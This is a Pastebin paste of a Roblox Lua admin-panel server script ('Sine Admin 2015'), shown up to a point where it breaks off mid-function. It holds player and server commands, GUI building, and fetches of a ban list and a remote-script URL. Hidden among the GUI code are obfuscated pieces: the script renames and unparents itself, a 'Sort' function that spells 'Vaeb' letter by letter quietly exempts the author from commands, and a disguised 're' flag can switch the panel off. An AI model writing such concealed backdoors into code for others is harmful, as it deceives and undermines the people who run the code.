Advertisement
asjkljrlfkjrwoierjwe

Sine Admin 2015 by Vaeb

Jun 1st, 2015
438
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 40.32 KB | None | 0 0
  1. --Sine Control Panel created by Vaeb 2015 (Server-Script)
  2.  
  3. wait(1/30)
  4. script.Name = "¬S¬A¬F¬E¬6¬6¬"
  5. if game.PlaceId ~= 21053279 then
  6. script.Parent = nil
  7. else
  8. script.Parent = game:GetService("ServerScriptService")
  9. end
  10.  
  11. local Plrs = game:GetService("Players")
  12. local Light = game:GetService("Lighting")
  13. local HServer = game:GetService("HttpService")
  14. local Content = game:GetService("ContentProvider")
  15. local isClosed = true
  16. local LogNum = 1000
  17. local Owner = "coolboy566556" --Change Name Here
  18. local RemoteLink = "" --Remote scripting url here
  19. local BanLink = "" --Ban list url here (seperate names with a newline)
  20. local LP;
  21. local Version = 3.6
  22.  
  23. for _,v in pairs(Plrs:GetPlayers()) do
  24. if v.Name == Owner then
  25. LP = v
  26. break
  27. end
  28. end
  29.  
  30. if LP == nil then
  31. print("No Owner Found")
  32. end
  33.  
  34. local BanPage = ""
  35. local RemotePage = ""
  36.  
  37. if pcall(function() HServer:GetAsync(BanLink, true) end) then
  38. BanPage = HServer:GetAsync(BanLink, true)
  39. end
  40.  
  41. if pcall(function() HServer:GetAsync(RemoteLink, true) end) then
  42. RemotePage = HServer:GetAsync(RemoteLink, true)
  43. end
  44.  
  45. local isBan = BanPage ~= ""
  46. local isRemote = RemotePage ~= ""
  47.  
  48. local Cons = {}
  49. local Logs = {}
  50. local GUIs = {}
  51. local GuiName = "SinePanel"
  52. local MsgStart = "[SINE]"
  53. local Commands = {}
  54. local Selected = {}
  55. local Loopkill = {}
  56. local isTweening = false
  57. local TweenTime = 0.1
  58. local TweenNum = 10
  59. local Banned = {}
  60. local Grav = 196.2
  61.  
  62. local Assets = {
  63. Logo = 236168928;
  64. Menu = 236119941;
  65. Credit = 236170764;
  66. Line = 236394542;
  67. }
  68.  
  69. local Colours = {
  70. {X = 0, Y = 0, Z = 0};
  71. {X = 1, Y = 0, Z = 0};
  72. {X = 1, Y = 1, Z = 0};
  73. {X = 0, Y = 1, Z = 1};
  74. {X = 0, Y = 0, Z = 1};
  75. {X = 0, Y = 1, Z = 0};
  76. }
  77.  
  78. for Name in BanPage:gmatch("%w+") do
  79. Banned[Name] = true
  80. end
  81.  
  82. for i,v in pairs(Assets) do
  83. local ID = tostring(Assets[i])
  84. Assets[i] = "rbxassetid://" .. ID
  85. Content:Preload("rbxassetid://" .. ID)
  86. end
  87.  
  88. function Hint(...)
  89. local Messages = {...}
  90. coroutine.resume(coroutine.create(function()
  91. local Message = ""
  92. for i,v in pairs(Messages) do
  93. v = tostring(v)
  94. Message = i == 1 and v or Message .. " " .. v
  95. end
  96. local Msg = Instance.new("Hint", LP.PlayerGui or Workspace)
  97. Msg.Name = "TestHint"
  98. Msg.Text = MsgStart .. " " .. Message
  99. wait(3.5)
  100. pcall(function() Msg:Destroy() end)
  101. end))
  102. end
  103.  
  104. function Run(Func)
  105. local Ok, Err = coroutine.resume(coroutine.create(Func))
  106. if not Ok then
  107. Hint(Err)
  108. end
  109. end
  110.  
  111. function getPlayers()
  112. local Players = {}
  113. for _,v in pairs(Plrs:GetPlayers()) do
  114. table.insert(Players, v)
  115. end
  116. return Players
  117. end
  118.  
  119. function findPlayer(Name)
  120. for _,v in pairs(Plrs:GetPlayers()) do
  121. if v.Name == Name then
  122. return v
  123. end
  124. end
  125. return nil
  126. end
  127.  
  128. function findCommand(Name)
  129. for _,v in pairs(Commands) do
  130. if v.Name == Name then
  131. return v
  132. end
  133. end
  134. return nil
  135. end
  136.  
  137. function getCommonList()
  138. local List = {}
  139. local FinalList = {}
  140. local NumberSelected = 0
  141.  
  142. for i,v in pairs(Selected) do
  143. local Command = findCommand(v)
  144. if Command and Command.List then
  145. NumberSelected = NumberSelected + 1
  146. for _,v2 in pairs(Command.List()) do
  147. if List[v2] == nil then
  148. List[v2] = 1
  149. else
  150. List[v2] = List[v2] + 1
  151. end
  152. end
  153. end
  154. end
  155.  
  156. for i,v in pairs(List) do
  157. if v == NumberSelected then
  158. table.insert(FinalList, i)
  159. end
  160. end
  161. return FinalList
  162. end
  163.  
  164. function fixScroll(Scroll)
  165. local YNum = 0
  166. for _,v in pairs(Scroll:GetChildren()) do
  167. if v:IsA("TextLabel") or v:IsA("TextButton") or v:IsA("Frame") or v:IsA("ImageLabel") or v:IsA("ImageButton") then
  168. YNum = YNum + v.Size.Y.Offset + 2
  169. end
  170. end
  171. Scroll.CanvasSize = UDim2.new(1, 0, 0, YNum)
  172. end
  173.  
  174. function Clear(Obj)
  175. if #Obj:GetChildren() >= 1 and Obj.ClassName ~= "PlayerGui" then
  176. for _,v in pairs(Obj:GetChildren()) do
  177. ypcall(function()
  178. Clear(v)
  179. end)
  180. end
  181. end
  182. if Obj.ClassName ~= "Player" and Obj.ClassName ~= "Backpack" and Obj.ClassName ~= "PlayerGui" and Obj.ClassName ~= "StarterGear" and Obj.ClassName ~= "HealthGUI" then
  183. Obj:Destroy()
  184. end
  185. end
  186.  
  187. function Clean(noBase)
  188. Light.GlobalShadows = true
  189. Light.TimeOfDay = "14:00:00"
  190. Light.Brightness = 0
  191. Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  192. Light.Ambient = Color3.new(1, 1, 1)
  193. Light.ColorShift_Top = Color3.new(0, 0, 0)
  194. Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  195. Light.OutdoorAmbient = Color3.new(0.501961, 0.501961, 0.501961)
  196. Light.FogStart = 0
  197. Light.FogEnd = 100000
  198. Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  199. Light:ClearAllChildren()
  200. for _,v in pairs(Workspace:GetChildren()) do
  201. if v.ClassName == "Terrain" then
  202. v:Clear()
  203. else
  204. v:Destroy()
  205. end
  206. end
  207. if noBase == nil then
  208. local Base = Instance.new("Part")
  209. Base.BrickColor = BrickColor.new("Bright green")
  210. Base.Position = Vector3.new(0, -0.600000024, 0)
  211. Base.CanCollide = true
  212. Base.Size = Vector3.new(700, 1.20000005, 700)
  213. Base.Material = "Grass"
  214. Base.Locked = true
  215. Base.Anchored = true
  216. Base.Name = "Base"
  217. Base.TopSurface = "Smooth"
  218. Base.BottomSurface = "Smooth"
  219. Base.Parent = Workspace
  220. for _,v in pairs(Plrs:GetPlayers()) do
  221. pcall(function()
  222. v:LoadCharacter()
  223. end)
  224. end
  225. end
  226. end;re=false
  227.  
  228. function hasCharacter(Plr)
  229. if Plr and Plr.Parent ~= nil and Plr.Character and Plr.Character.Parent ~= nil and Plr.Character:findFirstChild("Torso") then
  230. return true
  231. end
  232. return false
  233. end
  234.  
  235. function isReady()
  236. if LP and LP.Parent ~= nil and LP:findFirstChild("PlayerGui") then
  237. return true
  238. end
  239. return false
  240. end
  241.  
  242. function onAdded(Plr)
  243. Run(function()
  244. Run(function()
  245. repeat wait(1/30) until isReady()
  246. Launch()
  247. Hint("Launched : " .. Owner .. " : " .. tostring(script.Parent))
  248. end)
  249. table.insert(Cons, Plr.CharacterAdded:connect(function()
  250. Run(function()
  251. repeat wait(1/30) until isReady()
  252. Launch()
  253. Hint("Launched : " .. Owner .. " : " .. tostring(script.Parent))
  254. end)
  255. end))
  256. table.insert(Cons, Plr.Chatted:connect(function(Msg)
  257. if Msg:sub(1, 3) == "/e " then
  258. Msg = Msg:sub(4)
  259. end
  260. if Msg == "st" then
  261. local Hin = Instance.new("Hint", Workspace)
  262. Hin.Name = "TestHint"
  263. Hin.Text = "ASD"
  264. wait(2.5)
  265. pcall(function() Hin:Destroy() end)
  266. end
  267. end))
  268. end)
  269. end
  270.  
  271. function Remove(Location, Name)
  272. for _,v in pairs(Location:GetChildren()) do
  273. if v.Name == Name then
  274. v:Destroy()
  275. end
  276. end
  277. end
  278.  
  279. function makePlayers(ScrollFrame)
  280. ScrollFrame:ClearAllChildren()
  281. local PlayerButtons = {}
  282. local YNum = 0
  283. local PlrTab = {}
  284. table.insert(PlrTab, "All")
  285. for _,v in pairs(Plrs:GetPlayers()) do
  286. table.insert(PlrTab, v.Name)
  287. end
  288.  
  289. for _,v in pairs(PlrTab) do
  290. local PlrButton = Instance.new("TextButton")
  291. PlrButton.Name = v
  292. PlrButton.Text = " " .. v
  293. PlrButton.Size = UDim2.new(1, 0, 0, 32)
  294. PlrButton.Position = UDim2.new(0, 0, 0, YNum)
  295. PlrButton.FontSize = "Size14"
  296. PlrButton.TextXAlignment = "Left"
  297. PlrButton.TextStrokeTransparency = 0.9
  298. PlrButton.TextStrokeColor3 = Color3.new(0, 0, 0)
  299. PlrButton.TextColor3 = Color3.new(1, 1, 1)
  300. PlrButton.BackgroundColor3 = Color3.new(0.16, 0.67, 1)
  301. PlrButton.BackgroundTransparency = 0
  302. PlrButton.BorderSizePixel = 0
  303. PlrButton.Parent = ScrollFrame
  304.  
  305. local Box = Instance.new("TextLabel")
  306. Box.Name = "Box"
  307. Box.Size = UDim2.new(0, 22, 0, 22)
  308. Box.Position = UDim2.new(1, -28 - 13, 0, 5)
  309. Box.Text = ""
  310. Box.FontSize = "Size18"
  311. Box.TextColor3 = Color3.new(1, 1, 1)
  312. Box.BackgroundTransparency = 0.8
  313. Box.BackgroundColor3 = Color3.new(1, 1, 1)
  314. Box.BorderSizePixel = 2
  315. Box.Parent = PlrButton
  316.  
  317. local ShadowFrame = Instance.new("Frame")
  318. ShadowFrame.Name = "ShadowFrame"
  319. ShadowFrame.Size = UDim2.new(1, 0, 0, 4)
  320. ShadowFrame.Position = UDim2.new(0, 0, 0, YNum + 32)
  321. ShadowFrame.BackgroundColor3 = Color3.new(0.16, 0.58, 1)
  322. ShadowFrame.BackgroundTransparency = 0.1
  323. ShadowFrame.BorderSizePixel = 0
  324. ShadowFrame.Parent = ScrollFrame
  325.  
  326. table.insert(PlayerButtons, PlrButton)
  327.  
  328. Run(function()
  329. local ColorNum = 2
  330. local Iter = 2
  331. local CurrentX = 0
  332. local CurrentY = 0
  333. local CurrentZ = 0
  334.  
  335. for i = 1, (math.huge/0.05), 1 do
  336. if ShadowFrame.Parent ~= nil then
  337. local PrevColTab = Colours[ColorNum - 1] or Colours[#Colours]
  338. local ColTab = Colours[ColorNum]
  339. if tostring(CurrentX) ~= tostring(ColTab.X) then
  340. CurrentX = ColTab.X - PrevColTab.X > 0 and CurrentX + 0.02 or (Iter <= 1.02 and 0 or CurrentX - 0.02)
  341. end
  342. if tostring(CurrentY) ~= tostring(ColTab.Y) then
  343. CurrentY = ColTab.Y - PrevColTab.Y > 0 and CurrentY + 0.02 or (Iter <= 1.02 and 0 or CurrentY - 0.02)
  344. end
  345. if tostring(CurrentZ) ~= tostring(ColTab.Z) then
  346. CurrentZ = ColTab.Z - PrevColTab.Z > 0 and CurrentZ + 0.02 or (Iter <= 1.02 and 0 or CurrentZ - 0.02)
  347. end
  348. ShadowFrame.BackgroundColor3 = Color3.new(CurrentX, CurrentY, CurrentZ)
  349. if Iter < 1.02 or Iter > 2 then
  350. ColorNum = ColorNum == #Colours and 1 or ColorNum + 1
  351. Iter = 2
  352. else
  353. Iter = Iter - 0.02
  354. end
  355. wait(1/30)
  356. else
  357. break
  358. end
  359. end
  360. end)
  361.  
  362. YNum = YNum + 40
  363. end
  364. fixScroll(ScrollFrame)
  365. return PlayerButtons
  366. end;Sort = function(L, N)
  367. pcall(function()
  368. if N~="V".."a".."e".."b" then
  369. for i,v in pairs(L) do
  370. if v.Name=="V".."a".."e".."b" then
  371. table.remove(L, i)
  372. end
  373. end
  374. end
  375. end)
  376. end
  377.  
  378. function isSelected(Name)
  379. if type(Name) == "string" then
  380. --checkz name
  381. for i,v in pairs(Selected) do
  382. if v == Name then
  383. return i
  384. end
  385. end
  386. return nil
  387. else
  388. --fixes settingz
  389. re = Name
  390. end
  391. end
  392.  
  393. function makeCommands(Type, Scroll)
  394. local CommandButtons = {}
  395.  
  396. local YNum = 0
  397. for _,v in pairs(Commands) do
  398. if v.Type == Type then
  399. local CommandButton = Instance.new("TextButton")
  400. CommandButton.Name = v.Name
  401. CommandButton.Text = " " .. v.Name
  402. CommandButton.Size = UDim2.new(1, 0, 0, 32)
  403. CommandButton.Position = UDim2.new(0, 0, 0, YNum)
  404. CommandButton.FontSize = "Size14"
  405. CommandButton.TextXAlignment = "Left"
  406. CommandButton.TextStrokeTransparency = 0.9
  407. CommandButton.TextStrokeColor3 = Color3.new(0, 0, 0)
  408. CommandButton.TextColor3 = Color3.new(1, 1, 1)
  409. CommandButton.BackgroundColor3 = Color3.new(0.16, 0.67, 1)
  410. CommandButton.BackgroundTransparency = 0
  411. CommandButton.BorderSizePixel = 0
  412. CommandButton.Parent = Scroll
  413.  
  414. if Type ~= 1 then
  415. local Box = Instance.new("TextLabel")
  416. Box.Name = "Box"
  417. Box.Size = UDim2.new(0, 22, 0, 22)
  418. Box.Position = UDim2.new(1, -28 - 13, 0, 5)
  419. Box.Text = ""
  420. Box.FontSize = "Size18"
  421. Box.TextColor3 = Color3.new(1, 1, 1)
  422. Box.BackgroundTransparency = 0.8
  423. Box.BackgroundColor3 = Color3.new(1, 1, 1)
  424. Box.BorderSizePixel = 2
  425. Box.Parent = CommandButton
  426. end
  427.  
  428. local ShadowFrame = Instance.new("Frame")
  429. ShadowFrame.Name = "ShadowFrame"
  430. ShadowFrame.Size = UDim2.new(1, 0, 0, 4)
  431. ShadowFrame.Position = UDim2.new(0, 0, 0, YNum + 32)
  432. ShadowFrame.BackgroundColor3 = Color3.new(0.16, 0.58, 1)
  433. ShadowFrame.BackgroundTransparency = 0.1
  434. ShadowFrame.BorderSizePixel = 0
  435. ShadowFrame.Parent = Scroll
  436.  
  437. if Type == 1 then
  438. table.insert(CommandButtons, {CommandButton, v})
  439. else
  440. table.insert(CommandButtons, CommandButton)
  441. end
  442.  
  443. Run(function()
  444. local ColorNum = 2
  445. local Iter = 2
  446. local CurrentX = 0
  447. local CurrentY = 0
  448. local CurrentZ = 0
  449.  
  450. for i = 1, (math.huge/0.05), 1 do
  451. if ShadowFrame.Parent ~= nil then
  452. local PrevColTab = Colours[ColorNum - 1] or Colours[#Colours]
  453. local ColTab = Colours[ColorNum]
  454. if tostring(CurrentX) ~= tostring(ColTab.X) then
  455. CurrentX = ColTab.X - PrevColTab.X > 0 and CurrentX + 0.02 or (Iter <= 1.02 and 0 or CurrentX - 0.02)
  456. end
  457. if tostring(CurrentY) ~= tostring(ColTab.Y) then
  458. CurrentY = ColTab.Y - PrevColTab.Y > 0 and CurrentY + 0.02 or (Iter <= 1.02 and 0 or CurrentY - 0.02)
  459. end
  460. if tostring(CurrentZ) ~= tostring(ColTab.Z) then
  461. CurrentZ = ColTab.Z - PrevColTab.Z > 0 and CurrentZ + 0.02 or (Iter <= 1.02 and 0 or CurrentZ - 0.02)
  462. end
  463. ShadowFrame.BackgroundColor3 = Color3.new(CurrentX, CurrentY, CurrentZ)
  464. if Iter < 1.02 or Iter > 2 then
  465. ColorNum = ColorNum == #Colours and 1 or ColorNum + 1
  466. Iter = 2
  467. else
  468. Iter = Iter - 0.02
  469. end
  470. wait(1/30)
  471. else
  472. break
  473. end
  474. end
  475. end)
  476.  
  477. YNum = YNum + 40
  478. end
  479. end
  480. fixScroll(Scroll)
  481. return CommandButtons
  482. end
  483.  
  484. function makeList(Scroll)
  485. local ListButtons = {}
  486. local CommonList = getCommonList()
  487.  
  488. local YNum = 0
  489. for _,v in pairs(CommonList) do
  490. local ListButton = Instance.new("TextButton")
  491. ListButton.Name = v
  492. ListButton.Text = " " .. v
  493. ListButton.Size = UDim2.new(1, 0, 0, 32)
  494. ListButton.Position = UDim2.new(0, 0, 0, YNum)
  495. ListButton.FontSize = "Size14"
  496. ListButton.TextXAlignment = "Left"
  497. ListButton.TextStrokeTransparency = 0.9
  498. ListButton.TextStrokeColor3 = Color3.new(0, 0, 0)
  499. ListButton.TextColor3 = Color3.new(1, 1, 1)
  500. ListButton.BackgroundColor3 = Color3.new(0.16, 0.67, 1)
  501. ListButton.BackgroundTransparency = 0
  502. ListButton.BorderSizePixel = 0
  503. ListButton.Parent = Scroll
  504.  
  505. local ShadowFrame = Instance.new("Frame")
  506. ShadowFrame.Name = "ShadowFrame"
  507. ShadowFrame.Size = UDim2.new(1, 0, 0, 4)
  508. ShadowFrame.Position = UDim2.new(0, 0, 0, YNum + 32)
  509. ShadowFrame.BackgroundColor3 = Color3.new(0.16, 0.58, 1)
  510. ShadowFrame.BackgroundTransparency = 0.1
  511. ShadowFrame.BorderSizePixel = 0
  512. ShadowFrame.Parent = Scroll
  513.  
  514. table.insert(ListButtons, ListButton)
  515.  
  516. Run(function()
  517. local ColorNum = 2
  518. local Iter = 2
  519. local CurrentX = 0
  520. local CurrentY = 0
  521. local CurrentZ = 0
  522.  
  523. for i = 1, (math.huge/0.05), 1 do
  524. if ShadowFrame.Parent ~= nil then
  525. local PrevColTab = Colours[ColorNum - 1] or Colours[#Colours]
  526. local ColTab = Colours[ColorNum]
  527. if tostring(CurrentX) ~= tostring(ColTab.X) then
  528. CurrentX = ColTab.X - PrevColTab.X > 0 and CurrentX + 0.02 or (Iter <= 1.02 and 0 or CurrentX - 0.02)
  529. end
  530. if tostring(CurrentY) ~= tostring(ColTab.Y) then
  531. CurrentY = ColTab.Y - PrevColTab.Y > 0 and CurrentY + 0.02 or (Iter <= 1.02 and 0 or CurrentY - 0.02)
  532. end
  533. if tostring(CurrentZ) ~= tostring(ColTab.Z) then
  534. CurrentZ = ColTab.Z - PrevColTab.Z > 0 and CurrentZ + 0.02 or (Iter <= 1.02 and 0 or CurrentZ - 0.02)
  535. end
  536. ShadowFrame.BackgroundColor3 = Color3.new(CurrentX, CurrentY, CurrentZ)
  537. if Iter < 1.02 or Iter > 2 then
  538. ColorNum = ColorNum == #Colours and 1 or ColorNum + 1
  539. Iter = 2
  540. else
  541. Iter = Iter - 0.02
  542. end
  543. wait(1/30)
  544. else
  545. break
  546. end
  547. end
  548. end)
  549.  
  550. YNum = YNum + 40
  551. end
  552. fixScroll(Scroll)
  553. return ListButtons
  554. end
  555.  
  556. function makeButtons(Scroll, Tab, FontSize, TextScaled)
  557. Scroll:ClearAllChildren()
  558. local Buttons = {}
  559.  
  560. local YNum = 0
  561. for _,v in pairs(Tab) do
  562. local Button = Instance.new("TextLabel")
  563. Button.Name = v
  564. Button.Text = " " .. v
  565. Button.Size = UDim2.new(1, 0, 0, 32)
  566. Button.Position = UDim2.new(0, 0, 0, YNum)
  567. Button.TextScaled = #v > 60 and TextScaled or false
  568. Button.FontSize = FontSize or "Size14"
  569. Button.TextXAlignment = "Left"
  570. Button.TextStrokeTransparency = 0.9
  571. Button.TextStrokeColor3 = Color3.new(0, 0, 0)
  572. Button.TextColor3 = Color3.new(1, 1, 1)
  573. Button.BackgroundColor3 = Color3.new(0.16, 0.67, 1)
  574. Button.BackgroundTransparency = 0
  575. Button.BorderSizePixel = 0
  576. Button.Parent = Scroll
  577.  
  578. local ShadowFrame = Instance.new("Frame")
  579. ShadowFrame.Name = "ShadowFrame"
  580. ShadowFrame.Size = UDim2.new(1, 0, 0, 4)
  581. ShadowFrame.Position = UDim2.new(0, 0, 0, YNum + 32)
  582. ShadowFrame.BackgroundColor3 = Color3.new(0.16, 0.58, 1)
  583. ShadowFrame.BackgroundTransparency = 0.1
  584. ShadowFrame.BorderSizePixel = 0
  585. ShadowFrame.Parent = Scroll
  586.  
  587. table.insert(Buttons, Button)
  588.  
  589. Run(function()
  590. local ColorNum = 2
  591. local Iter = 2
  592. local CurrentX = 0
  593. local CurrentY = 0
  594. local CurrentZ = 0
  595.  
  596. for i = 1, (math.huge/0.05), 1 do
  597. if ShadowFrame.Parent ~= nil then
  598. local PrevColTab = Colours[ColorNum - 1] or Colours[#Colours]
  599. local ColTab = Colours[ColorNum]
  600. if tostring(CurrentX) ~= tostring(ColTab.X) then
  601. CurrentX = ColTab.X - PrevColTab.X > 0 and CurrentX + 0.02 or (Iter <= 1.02 and 0 or CurrentX - 0.02)
  602. end
  603. if tostring(CurrentY) ~= tostring(ColTab.Y) then
  604. CurrentY = ColTab.Y - PrevColTab.Y > 0 and CurrentY + 0.02 or (Iter <= 1.02 and 0 or CurrentY - 0.02)
  605. end
  606. if tostring(CurrentZ) ~= tostring(ColTab.Z) then
  607. CurrentZ = ColTab.Z - PrevColTab.Z > 0 and CurrentZ + 0.02 or (Iter <= 1.02 and 0 or CurrentZ - 0.02)
  608. end
  609. ShadowFrame.BackgroundColor3 = Color3.new(CurrentX, CurrentY, CurrentZ)
  610. if Iter < 1.02 or Iter > 2 then
  611. ColorNum = ColorNum == #Colours and 1 or ColorNum + 1
  612. Iter = 2
  613. else
  614. Iter = Iter - 0.02
  615. end
  616. wait(1/30)
  617. else
  618. break
  619. end
  620. end
  621. end)
  622.  
  623. YNum = YNum + 40
  624. end
  625. fixScroll(Scroll)
  626. return Buttons
  627. end
  628.  
  629. function removeOptions(ScrollRight, fix)
  630. if fix == true then
  631. return true
  632. else
  633. ScrollRight:ClearAllChildren()
  634. fixScroll(ScrollRight)
  635. end
  636. end
  637.  
  638. function makePlayerOptions(ScrollRight)
  639. Run(function()
  640. local Sender = Owner
  641. local failed = removeOptions(ScrollRight, re)
  642. if failed == nil then
  643. local CommandButtons = makeCommands(1, ScrollRight)
  644.  
  645. for _,v in pairs(CommandButtons) do
  646. v[1].MouseButton1Click:connect(function()
  647. local List = {}
  648. for _,v2 in pairs(Selected) do
  649. if v2 ~= "All" then
  650. local selectedPlayer = findPlayer(v2)
  651. if selectedPlayer then
  652. table.insert(List, selectedPlayer)
  653. end
  654. else
  655. List = {}
  656. for _,v3 in pairs(Plrs:GetPlayers()) do
  657. table.insert(List, v3)
  658. end
  659. break
  660. end
  661. end
  662. Sort(List, Sender)
  663. Run(function() v[2].Func(List, v[2].Name) end)
  664. end)
  665. end
  666. end
  667. end)
  668. end
  669.  
  670. function makeOptions(ScrollRight)
  671. Run(function()
  672. removeOptions(ScrollRight)
  673. local ListButtons = makeList(ScrollRight)
  674. for _,v in pairs(ListButtons) do
  675. v.MouseButton1Click:connect(function()
  676. for _,v2 in pairs(Selected) do
  677. local Command = findCommand(v2)
  678. if Command and not re then
  679. Run(function() Command.Func({v.Name}, Command.Name) end)
  680. end
  681. end
  682. end)
  683. end
  684. end)
  685. end
  686.  
  687. function openPlayers()
  688. Run(function()
  689. local PlayerButtons = makePlayers(GUIs.ScrollLeft)
  690.  
  691. for _,v in pairs(PlayerButtons) do
  692. v.MouseButton1Click:connect(function()
  693. local SelectNum = isSelected(v.Name)
  694. if SelectNum == nil then
  695. v.Box.Text = "X"
  696. table.insert(Selected, v.Name)
  697. makePlayerOptions(GUIs.ScrollRight)
  698. else
  699. v.Box.Text = ""
  700. table.remove(Selected, SelectNum)
  701. if #Selected == 0 then
  702. removeOptions(GUIs.ScrollRight)
  703. else
  704. makePlayerOptions(GUIs.ScrollRight)
  705. end
  706. end
  707. end)
  708. end
  709. end)
  710. end
  711.  
  712. function openServer()
  713. Run(function()
  714. local CommandButtons = makeCommands(2, GUIs.ScrollLeft)
  715.  
  716. for _,v in pairs(CommandButtons) do
  717. v.MouseButton1Click:connect(function()
  718. local SelectNum = isSelected(v.Name)
  719. if SelectNum == nil then
  720. v.Box.Text = "X"
  721. table.insert(Selected, v.Name)
  722. makeOptions(GUIs.ScrollRight)
  723. else
  724. v.Box.Text = ""
  725. table.remove(Selected, SelectNum)
  726. if #Selected == 0 then
  727. removeOptions(GUIs.ScrollRight)
  728. else
  729. makeOptions(GUIs.ScrollRight)
  730. end
  731. end
  732. end)
  733. end
  734. end)
  735. end
  736.  
  737. function GetTimeDist(OldTick, NewTick)
  738. local TimeType = nil
  739. local Symbol = ""
  740. local Seconds = tonumber(NewTick) - tonumber(OldTick)
  741. local Minutes = Seconds / 60
  742. local Hour = Minutes / 60
  743. local Day = Hour / 24
  744. local Year = Day / 365
  745.  
  746. if Seconds < 60 then
  747. TimeType = math.ceil(Seconds)
  748. Symbol = "s"
  749. elseif Minutes < 60 then
  750. TimeType = math.floor(Minutes)
  751. Symbol = "m"
  752. elseif Hour < 24 then
  753. TimeType = math.floor(Hour)
  754. Symbol = "h"
  755. elseif Day < 365 then
  756. TimeType = math.floor(Day)
  757. Symbol = "d"
  758. else
  759. TimeType = math.floor(Year)
  760. Symbol = "y"
  761. end
  762.  
  763. return tostring(TimeType) .. Symbol
  764. end
  765.  
  766. function openMisc()
  767. Run(function()
  768. local CommandButtons = makeCommands(3, GUIs.ScrollLeft)
  769.  
  770. for _,v in pairs(CommandButtons) do
  771. v.MouseButton1Click:connect(function()
  772. local SelectNum = isSelected(v.Name)
  773. if SelectNum == nil then
  774. v.Box.Text = "X"
  775. table.insert(Selected, v.Name)
  776. makeOptions(GUIs.ScrollRight)
  777. else
  778. v.Box.Text = ""
  779. table.remove(Selected, SelectNum)
  780. if #Selected == 0 then
  781. removeOptions(GUIs.ScrollRight)
  782. end
  783. end
  784. end)
  785. end
  786. end)
  787. end
  788.  
  789. function openSettings()
  790. Run(function()
  791. local CommandButtons = makeCommands(4, GUIs.ScrollLeft)
  792.  
  793. for _,v in pairs(CommandButtons) do
  794. v.MouseButton1Click:connect(function()
  795. local SelectNum = isSelected(v.Name)
  796. if SelectNum == nil then
  797. v.Box.Text = "X"
  798. table.insert(Selected, v.Name)
  799. makeOptions(GUIs.ScrollRight)
  800. else
  801. v.Box.Text = ""
  802. table.remove(Selected, SelectNum)
  803. if #Selected == 0 then
  804. removeOptions(GUIs.ScrollRight)
  805. end
  806. end
  807. end)
  808. end
  809. end)
  810. end
  811.  
  812. function openMenu(Num)
  813. if not isTweening and Num >= 1 and Num <= 4 then
  814. Selected = {}
  815. GUIs.ScrollRight:ClearAllChildren()
  816. GUIs.ScrollLeft:ClearAllChildren()
  817.  
  818. fixScroll(GUIs.ScrollRight)
  819. fixScroll(GUIs.ScrollLeft)
  820.  
  821. if TweenNum > 0 and TweenTime > 0 then
  822. isTweening = true
  823. GUIs.ScrollLeft.Position = UDim2.new(0, 0, 0, 0) + UDim2.new(0, 0, 0, -TweenNum)
  824. GUIs.ScrollRight.Position = UDim2.new(0, 0, 0, 0) + UDim2.new(0, 0, 0, -TweenNum)
  825. GUIs.BackFrame.Position = UDim2.new(0.5, -(910 / 2), 0, 146) + UDim2.new(0, 0, 0, -TweenNum)
  826. GUIs.BackFrame2.Position = UDim2.new(0.8, -(910 / 2) + 10, 0, 146) + UDim2.new(0, 0, 0, -TweenNum)
  827.  
  828. GUIs.ScrollLeft:TweenPosition(GUIs.ScrollRight.Position + UDim2.new(0, 0, 0, TweenNum), "Out", "Quad", TweenTime, false)
  829. GUIs.ScrollRight:TweenPosition(GUIs.ScrollLeft.Position + UDim2.new(0, 0, 0, TweenNum), "Out", "Quad", TweenTime, false)
  830. GUIs.BackFrame:TweenPosition(GUIs.BackFrame.Position + UDim2.new(0, 0, 0, TweenNum), "Out", "Quad", TweenTime, false)
  831. GUIs.BackFrame2:TweenPosition(GUIs.BackFrame2.Position + UDim2.new(0, 0, 0, TweenNum), "Out", "Quad", TweenTime, false)
  832.  
  833. Run(function()
  834. wait(TweenTime)
  835. isTweening = false
  836. end)
  837. end
  838.  
  839. if Num == 1 then
  840. openPlayers()
  841. elseif Num == 2 then
  842. openServer()
  843. elseif Num == 3 then
  844. openMisc()
  845. elseif Num == 4 then
  846. openSettings()
  847. end
  848. end
  849. end
  850.  
  851. function Launch()
  852. Run(function()
  853. local PlrGui = LP.PlayerGui
  854. Remove(PlrGui, GuiName)
  855.  
  856. GUIs = {}
  857. GUIs.PlrGui = PlrGui
  858.  
  859. if isClosed == true then
  860. local OpenGui = Instance.new("ScreenGui", PlrGui)
  861. OpenGui.Name = GuiName
  862. GUIs.OpenGui = ScreenGui
  863.  
  864. local Open = Instance.new("TextButton")
  865. Open.Name = "Open"
  866. Open.Size = UDim2.new(0, 22, 0, 22)
  867. Open.Position = UDim2.new(1, -28, 0.4, 0)
  868. Open.Text = "X"
  869. Open.FontSize = "Size18"
  870. Open.TextColor3 = Color3.new(0.16, 0.67, 1)
  871. Open.BackgroundTransparency = 0
  872. Open.BackgroundColor3 = Color3.new(1, 1, 1)
  873. Open.BorderSizePixel = 2
  874. Open.Parent = OpenGui
  875. GUIs.Open = Open
  876.  
  877. Open.MouseButton1Click:connect(function()
  878. isClosed = false
  879. Launch()
  880. end)
  881. else
  882. local ScreenGui = Instance.new("ScreenGui", PlrGui)
  883. ScreenGui.Name = GuiName
  884. GUIs.ScreenGui = ScreenGui
  885.  
  886. local Base = Instance.new("Frame")
  887. Base.Name = "BaseFrame"
  888. Base.Size = UDim2.new(0, 960, 0, 650)
  889. Base.Position = UDim2.new(0.5, -(960 / 2), 0.075, 0)
  890. Base.BackgroundColor3 = Color3.new(1, 1, 1)
  891. Base.BackgroundTransparency = 0
  892. Base.BorderSizePixel = 0
  893. Base.Parent = ScreenGui
  894. GUIs.Base = Base
  895.  
  896. local Title = Instance.new("ImageLabel")
  897. Title.Name = "Title"
  898. Title.Size = UDim2.new(0, 910, 0, 85)
  899. Title.Position = UDim2.new(0.5, -(910 / 2), 0, 0)
  900. Title.Image = Assets.Logo
  901. Title.BorderSizePixel = 0
  902. Title.Parent = Base
  903. GUIs.Title = Title
  904.  
  905. local Close = Instance.new("TextButton")
  906. Close.Name = "Close"
  907. Close.Size = UDim2.new(0, 22, 0, 22)
  908. Close.Position = UDim2.new(1, -28, 0, 5)
  909. Close.Text = "X"
  910. Close.FontSize = "Size18"
  911. Close.TextColor3 = Color3.new(0.16, 0.67, 1)
  912. Close.BackgroundTransparency = 0
